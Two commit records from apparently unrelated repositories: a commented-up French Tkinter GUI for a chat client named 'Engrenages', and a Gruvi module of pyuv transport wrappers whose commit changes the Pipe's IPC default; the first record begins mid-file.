	scrollbary.grid(row=0, column=1)

	rouage.msg_text = Text(FrameMessages,yscrollcommand=scrollbary.set) # Affiche les messages précédents
	rouage.msg_text.configure(state=DISABLED)
	rouage.msg_text.grid(row=0,column=0)

	scrollbary.config(command=rouage.msg_text.yview)

	FrameConnected = LabelFrame(bg='white', text="Utilisateurs connectés")
	FrameConnected.grid(row=1,column=4,rowspan = 2, sticky = S, padx=5, pady=5)

	Framedisconnect = Frame(bg='lightgrey')
	Framedisconnect.grid(row=3, column=4, padx=5, pady=5)

	rouage.StringVar_pseudo_list = StringVar(value=pseudo)
	Label5 = Label(FrameConnected, textvariable = rouage.StringVar_pseudo_list, fg = 'black', bg="white", justify='left', height=23) #liste des utilisateurs connectés
	Label5.pack()

	Bouton4 = Button(FrameConnected, text = 'Nouvelle connexion', command =lambda: choisir_ip(rouage, port_serveur) )
	Bouton4.pack(padx=5, pady=5)

	Framenewmessage = Frame(bg='lightgrey')
	Framenewmessage.grid(row=3, column=1, padx=5,pady=5)

	Label6 = Label(Framenewmessage, text = 'Votre message:', fg = 'black', bg="lightgrey")
	Label6.grid(padx=5,pady=5, row=0, column=0)

	Message = StringVar()
	Champ = Entry(Framenewmessage, textvariable= Message, bg ='white', fg='grey')
	Champ.focus_set()
	Champ.grid(padx=5,pady=5, row=0, column=1)

	Bouton1 = Button(Framenewmessage, text = 'Envoyer', command = lambda: rouage.sendTimedMessage(Message.get()))  #Envoi un message
	Bouton1.grid(padx=5,pady=5, row=0, column=2)

	Bouton2 = Button(Framedisconnect, text = 'Quitter', command =lambda: destroy_and_quit(Engrenages,rouage))
	Bouton2.pack(padx=5, pady=5)

	Bouton3 = Button(Engrenages, text = 'Message Privé', command =lambda: MP(rouage) )
	Bouton3.grid(row=3,column=0)

	Engrenages.mainloop() #permet de signifier que le programme de création de la fenêtre est fini
<commit_msg>Ajoutn des commentaires (enfin!!^^)<commit_after>#!/usr/bin/python3

from tkinter import *
from tkinter.messagebox import *

def sendMPandDestroy(msg, pseudo, fenetre, rouage):
	"""
	Fonction permettant de vérifier la validité du message et du pseudo, puis de l'envoyer et de détruire la fenêtre
	"""
	if pseudo == "":
		showwarning("Attention !", "Vous ne pouvez pas entrer un pseudo vide")
	elif msg == "":
		showwarning("Attention !", "Vous ne pouvez pas entrer de message vide")
	elif pseudo == "SYSTEM":
		showwarning("Attention !", "L'envoi de message au système est prohibé")
	else:
		rouage.sendTimedMessage(msg,pseudo)
		fenetre.destroy()

def destroy_and_quit(fenetre, rouage):
	fenetre.destroy()
	rouage.quit()

def MP(rouage):
	"""
	Fonction ouvrant une fenêtre permettant d'envoyer un message privé à l'utilisateur choisi
	"""
	Message_prive=Tk() #définit Message_prive comme une fenêtre Tkinter
	Message_prive.title('Engrenages') #titre de la fenêtre
	Message_prive.geometry('450x180') #dimensions de la fenêtre
	Message_prive['bg']='bisque' # couleur de fond

	MainFrame = Frame(Message_prive,borderwidth=3,relief=GROOVE) #crée la sous-fenêtre principale
	MainFrame.pack(padx=10,pady=10) #instruction plaçant la sous-fenêtre principale dans la fenêtre

	Label1 = Label(MainFrame, text = "Quel est le pseudo de l'utilisateur à qui vous souhaitez envoyer un message?", fg = 'black') # crée une zone de texte dans la sous-fenêtre principale
	Label1.pack(padx=5,pady=5) #instruction plaçant la zone de texte dans la sous-fenêtre principale

	ChoixPseudo = Entry(MainFrame, bg ='white', fg='grey') #crée une zone de saisie de texte par l'utilisateur
	ChoixPseudo.focus_set()
	ChoixPseudo.pack(padx=5, pady=5) #instruction plaçant la zone de saisie de texte dans la sous-fenêtre principale

	Label2 = Label(MainFrame, text = "Quel est votre message?", fg = 'black') # crée une zone de texte dans la sous-fenêtre principale
	Label2.pack(padx=5,pady=5) #instruction plaçant la zone de texte dans la sous-fenêtre principale

	Message = Entry(MainFrame, bg ='white', fg='grey') #crée une zone de saisie de texte par l'utilisateur
	Message.pack(padx=5, pady=5) #instruction plaçant la zone de saisie de texte dans la sous-fenêtre principale

	Bouton1 = Button(MainFrame, text = 'Valider', command = lambda: sendMPandDestroy(Message.get(),ChoixPseudo.get(),Message_prive,rouage)) #crée un bouton permettant de détruire la fenêtre
	Bouton1.pack(padx = 5, pady=5) #instruction plaçant le bouton dans la sous-fenêtre principale

	Message_prive.mainloop() #permet de signifier que le programme de création de la fenêtre est fini

def check_pseudo(pseudo, fenetre):
	"""
	Fonction vérifiant si le pseudo entré par l'utilisateur lors de la connexion est valide (c'est-à-dire pas vide ni "DESTROY")
	"""
	if pseudo == "":
		showwarning("Attention !", "Vous devez entrer un pseudo valide pour vous connecter !")
	elif pseudo == "":
		showwarning("Attention !", "L'utilisation du pseudo SYSTEM est prohibé")
	else:
		fenetre.destroy()

def identification(rouage):
	"""
	Fenêtre d'identification qui permet à l'utilisateur de choisir son pseudo
	"""
	Authentification = Tk()
	# Création de la fenêtre principale
	Authentification.title('Engrenages')
	Authentification['bg']='bisque' # couleur de fond

	#crée le champ de saisie pour entrer le pseudo
	Pseudo = StringVar()

	Authentification.protocol("WM_DELETE_WINDOW",lambda: destroy_and_quit(Authentification, rouage)) # Utilise une fonction maison pour quitter

	#Création de deux sous-fenêtres
	Frame1 = Frame(Authentification,borderwidth=2,relief=GROOVE)
	Frame1.pack(padx=10,pady=10)

	Frame2 = Frame(Authentification,borderwidth=2,relief=GROOVE)
	Frame2.pack(padx=10,pady=10)

	# Création d'un widget Label affichant le texte: "Veuillez entrer votre Pseudo !"
	Label1 = Label(Frame1, text = 'Veuillez entrer votre Pseudo', fg = 'black', bg='lightgrey')
	Label1.pack(padx=5,pady=5) #positionne le widget Label1

	Champ = Entry(Frame1, textvariable= Pseudo,bg ='white', fg='grey') #Création d'une zone de saisie de texte pour entrer le pseudo
	Champ.focus_set()
	Champ.pack(padx=5, pady=5)

	Go = Button(Frame2, text = 'Lancer engrenages!', command = lambda: check_pseudo(Champ.get(), Authentification))
	Go.pack(side=LEFT, padx = 5, pady=5)

	Authentification.mainloop() #permet de signifier que le programme de création de la fenêtre est fini

	return Pseudo.get()

def connect_and_destroy(ip,port,fenetre,rouage):
	"""
	Fonction écran permettant d'éxécuter deux sous fonctions pour un seul bouton.
	"""
	if ip == "":
		showwarning("Attention !", "Vous ne pouvez pas vous connecter à une ip vide")
	elif port == "":
		showwarning("Attention !", "Vous ne pouvez pas vous connecter sur un port vide")
	elif port.isalnum == False:
		showwarning("Attention !", "Vous devez entrer un port en chiffre")
	else:
		rouage.ConnectNewServer(ip, int(port))
		fenetre.destroy()

def choisir_ip(rouage, port_serveur):
	"""
	Fonction qui ouvre une fenêtre de connexion à un autre serveur. Elle demande à l'utilisateur d'entrer l'adresse et le port du serveur à rejoindre.
	"""
	Nouvelle_connection=Tk() #définit Nouvelle_connection comme une fenêtre Tkinter...
	Nouvelle_connection.title('Engrenages') #...de titre "Engrenages"...
	Nouvelle_connection['bg']='bisque' #...et de fond de couleur "bisque"

	Frame1 = Frame(Nouvelle_connection,borderwidth=3,relief=GROOVE) #Crée une sous-fenêtre
	Frame1.pack(padx=10,pady=10)

	Label1 = Label(Frame1, text = "Quelle est l'adresse IP du serveur à rejoindre?", fg = 'black') # Création d'un widget Label affichant le texte: "Quelle est l'adresse IP du serveur à rejoindre?"
	Label1.pack(padx=5,pady=5)

	Champ = Entry(Frame1, bg ='white', fg='grey') #Création d'une zone de saisie pour l'IP du serveur à rejoindre
	Champ.focus_set()
	Champ.pack(padx=5, pady=5)

	Label2 = Label(Frame1, text = "Quel port souhaitez-vous utiliser?", fg = 'black')
	Label2.pack(padx=5,pady=5)

	Port = Entry(Frame1, bg ='white', fg='grey') #Création d'une zone de saisie pour le port à rejoindre
	Port.focus_set()
	Port.pack(padx=5, pady=5)

	Valider = Button(Frame1, text = 'Valider', command = lambda: connect_and_destroy(Champ.get(),Port.get(),Nouvelle_connection,rouage))
	Valider.pack(padx = 5, pady=5)

	Nouvelle_connection.mainloop() #permet de signifier que le programme de création de la fenêtre est fini

def fenetre_princ(pseudo, rouage, port_serveur):
	Engrenages = Tk()
	Engrenages.title('Engrenages:'+ pseudo)
	Engrenages['bg']='bisque' # couleur de fond

	Engrenages.protocol("WM_DELETE_WINDOW",lambda: destroy_and_quit(Engrenages, rouage)) # Utilise une fonction maison pour quitter

	Label1 = Label(Engrenages, text = 'Engrenages', fg = 'black', justify='center', padx=5, pady=5)
	Label1.grid(row=0,column=1, padx=5, pady=5)

	FrameMessages=LabelFrame(text="Messages précédents") #Crée la frame pour les messages précédents
	FrameMessages.grid(row=1,column=0, columnspan = 4, rowspan = 2, sticky = SE)

	scrollbary = Scrollbar(FrameMessages) #Crée une Scrollbar attachée à la frame des messages précédents
	scrollbary.grid(row=0, column=1)

	rouage.msg_text = Text(FrameMessages,yscrollcommand=scrollbary.set) # Affiche les messages précédents
	rouage.msg_text.configure(state=DISABLED)
	rouage.msg_text.grid(row=0,column=0)

	scrollbary.config(command=rouage.msg_text.yview)

	FrameConnected = LabelFrame(bg='white', text="Utilisateurs connectés") #Crée la frame où seront affichés les pseudos des utilisateurs connectés
	FrameConnected.grid(row=1,column=4,rowspan = 2, sticky = S, padx=5, pady=5)

	rouage.StringVar_pseudo_list = StringVar(value=pseudo)
	Label5 = Label(FrameConnected, textvariable = rouage.StringVar_pseudo_list, fg = 'black', bg="white", justify='left', height=23) #liste des utilisateurs connectés
	Label5.pack()

	Bouton4 = Button(FrameConnected, text = 'Nouvelle connexion', command =lambda: choisir_ip(rouage, port_serveur) )
	Bouton4.pack(padx=5, pady=5)

	Framenewmessage = Frame(bg='lightgrey') #Frame contenant la zone d'écriture des nouveaux messages, ainsi que le bouton d'envoi
	Framenewmessage.grid(row=3, column=1, padx=5,pady=5)

	Label6 = Label(Framenewmessage, text = 'Votre message:', fg = 'black', bg="lightgrey")
	Label6.grid(padx=5,pady=5, row=0, column=0)

	Message = StringVar()
	Champ = Entry(Framenewmessage, textvariable= Message, bg ='white', fg='grey')
	Champ.focus_set()
	Champ.grid(padx=5,pady=5, row=0, column=1)

	Bouton1 = Button(Framenewmessage, text = 'Envoyer', command = lambda: rouage.sendTimedMessage(Message.get()))  #Envoi un message
	Bouton1.grid(padx=5,pady=5, row=0, column=2)

	Framedisconnect = Frame(bg='lightgrey')
	Framedisconnect.grid(row=3, column=4, padx=5, pady=5)

	Bouton2 = Button(Framedisconnect, text = 'Quitter', command =lambda: destroy_and_quit(Engrenages,rouage))
	Bouton2.pack(padx=5, pady=5)

	Bouton3 = Button(Engrenages, text = 'Message Privé', command =lambda: MP(rouage) )
	Bouton3.grid(row=3,column=0)

	Engrenages.mainloop() #permet de signifier que le programme de création de la fenêtre est fini
<|endoftext|>


<commit_before>#
# This file is part of Gruvi. Gruvi is free software available under the
# terms of the MIT license. See the file "LICENSE" that was provided
# together with this source file for the licensing terms.
#
# Copyright (c) 2012-2013 the Gruvi authors. See the file "AUTHORS" for a
# complete list.

from __future__ import absolute_import, print_function

import os
import socket
import pyuv

from .hub import get_hub, switchpoint

# The Handle base class is not exposed by pyuv
pyuv.Handle = pyuv.UDP.__bases__[0]

__all__ = ['TCP', 'UDP', 'Pipe', 'TTY']

def pyuv_exc(transport, error):
    """Return a suitable exception for *transport* with errno set to *error*."""
    if isinstance(transport, pyuv.TCP):
        exc = pyuv.error.TCPError
    elif isinstance(transport, pyuv.UDP):
        exc = pyuv.error.UDPError
    elif isinstance(transport, pyuv.Pipe):
        exc = pyuv.error.PipeError
    else:
        exc = pyuv.error.Error
    message = pyuv.errno.strerror(error)
    return exc(error, message)

class TCP(pyuv.TCP):
    """A TCP transport.

    For the API reference, see :class:`pyuv.TCP`
    """

    def __init__(self):
        super(TCP, self).__init__(get_hub().loop)

class UDP(pyuv.UDP):
    """A UDP transport.

    For the API reference, see :class:`pyuv.UDP`
    """

    def __init__(self):
        super(UDP, self).__init__(get_hub().loop)

class Pipe(pyuv.Pipe):
    """A Pipe transport.

    For the API reference, see :class:`pyuv.Pipe`

    One extension to the pyuv version is that this class allows you to connect
    to abstract sockets on Linux, which are used for example by for D-BUS. To
    connect to an abstract socket use the Linux convention of starting the
    address string with a null byte (``'\\x00'``).
    """

    def __init__(self, ipc=True):
        super(Pipe, self).__init__(get_hub().loop, ipc)

    def connect(self, address, callback=None):
        # Support for abstract sockets on Linux, which are needed for D-BUS.
        # Abstract sockets don't work with libuv/pyuv Pipe because libuv
        # expects the socket name to be a zero terminated string, while Linux
        # identifies abstract sockets as those having a name starting with a
        # null byte.
        # We work around this by opening the socket ourselves and then use
        # Pipe.open to open the socket's descriptor.
        if not address.startswith('\x00'):
            super(Pipe, self).connect(address, callback)
            return
        if sys.platform != 'linux2':
            raise RuntimeError('abstract sockets are Linux only')
        self._sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        self._sock.setblocking(False)
        try:
            self._sock.connect(address)
        except socket.error as e:
            error = e.args[0]
        else:
            error = 0
            self.open(self._sock.fileno())
        # On Linux, connect() on a Unix domain socket never blocks. So we can
        # notify success (or failure) immmediately.
        if callback:
            callback(self, error)

class TTY(pyuv.TTY):
    """A TTY transport.

    For the API reference, see :class:`pyuv.TTY`
    """

    def __init__(self, fd, readable=1):
        if hasattr(fd, 'fileno'):
            readable = 'r' in fd.mode
            fd = fd.fileno()
        super(TTY, self).__init__(get_hub().loop, fd, readable)
<commit_msg>IPC pipes don't work well (Windows).<commit_after>#
# This file is part of Gruvi. Gruvi is free software available under the
# terms of the MIT license. See the file "LICENSE" that was provided
# together with this source file for the licensing terms.
#
# Copyright (c) 2012-2013 the Gruvi authors. See the file "AUTHORS" for a
# complete list.

from __future__ import absolute_import, print_function

import os
import socket
import pyuv

from .hub import get_hub, switchpoint

# The Handle base class is not exposed by pyuv
pyuv.Handle = pyuv.UDP.__bases__[0]

__all__ = ['TCP', 'UDP', 'Pipe', 'TTY']

def pyuv_exc(transport, error):
    """Return a suitable exception for *transport* with errno set to *error*."""
    if isinstance(transport, pyuv.TCP):
        exc = pyuv.error.TCPError
    elif isinstance(transport, pyuv.UDP):
        exc = pyuv.error.UDPError
    elif isinstance(transport, pyuv.Pipe):
        exc = pyuv.error.PipeError
    else:
        exc = pyuv.error.Error
    message = pyuv.errno.strerror(error)
    return exc(error, message)

class TCP(pyuv.TCP):
    """A TCP transport.

    For the API reference, see :class:`pyuv.TCP`
    """

    def __init__(self):
        super(TCP, self).__init__(get_hub().loop)

class UDP(pyuv.UDP):
    """A UDP transport.

    For the API reference, see :class:`pyuv.UDP`
    """

    def __init__(self):
        super(UDP, self).__init__(get_hub().loop)

class Pipe(pyuv.Pipe):
    """A Pipe transport.

    For the API reference, see :class:`pyuv.Pipe`

    One extension to the pyuv version is that this class allows you to connect
    to abstract sockets on Linux, which are used for example by for D-BUS. To
    connect to an abstract socket use the Linux convention of starting the
    address string with a null byte (``'\\x00'``).
    """

    def __init__(self, ipc=False):
        super(Pipe, self).__init__(get_hub().loop, ipc)

    def connect(self, address, callback=None):
        # Support for abstract sockets on Linux, which are needed for D-BUS.
        # Abstract sockets don't work with libuv/pyuv Pipe because libuv
        # expects the socket name to be a zero terminated string, while Linux
        # identifies abstract sockets as those having a name starting with a
        # null byte.
        # We work around this by opening the socket ourselves and then use
        # Pipe.open to open the socket's descriptor.
        if not address.startswith('\x00'):
            super(Pipe, self).connect(address, callback)
            return
        if sys.platform != 'linux2':
            raise RuntimeError('abstract sockets are Linux only')
        self._sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        self._sock.setblocking(False)
        try:
            self._sock.connect(address)
        except socket.error as e:
            error = e.args[0]
        else:
            error = 0
            self.open(self._sock.fileno())
        # On Linux, connect() on a Unix domain socket never blocks. So we can
        # notify success (or failure) immmediately.
        if callback:
            callback(self, error)

class TTY(pyuv.TTY):
    """A TTY transport.

    For the API reference, see :class:`pyuv.TTY`
    """

    def __init__(self, fd, readable=1):
        if hasattr(fd, 'fileno'):
            readable = 'r' in fd.mode
            fd = fd.fileno()
        super(TTY, self).__init__(get_hub().loop, fd, readable)
<|endoftext|>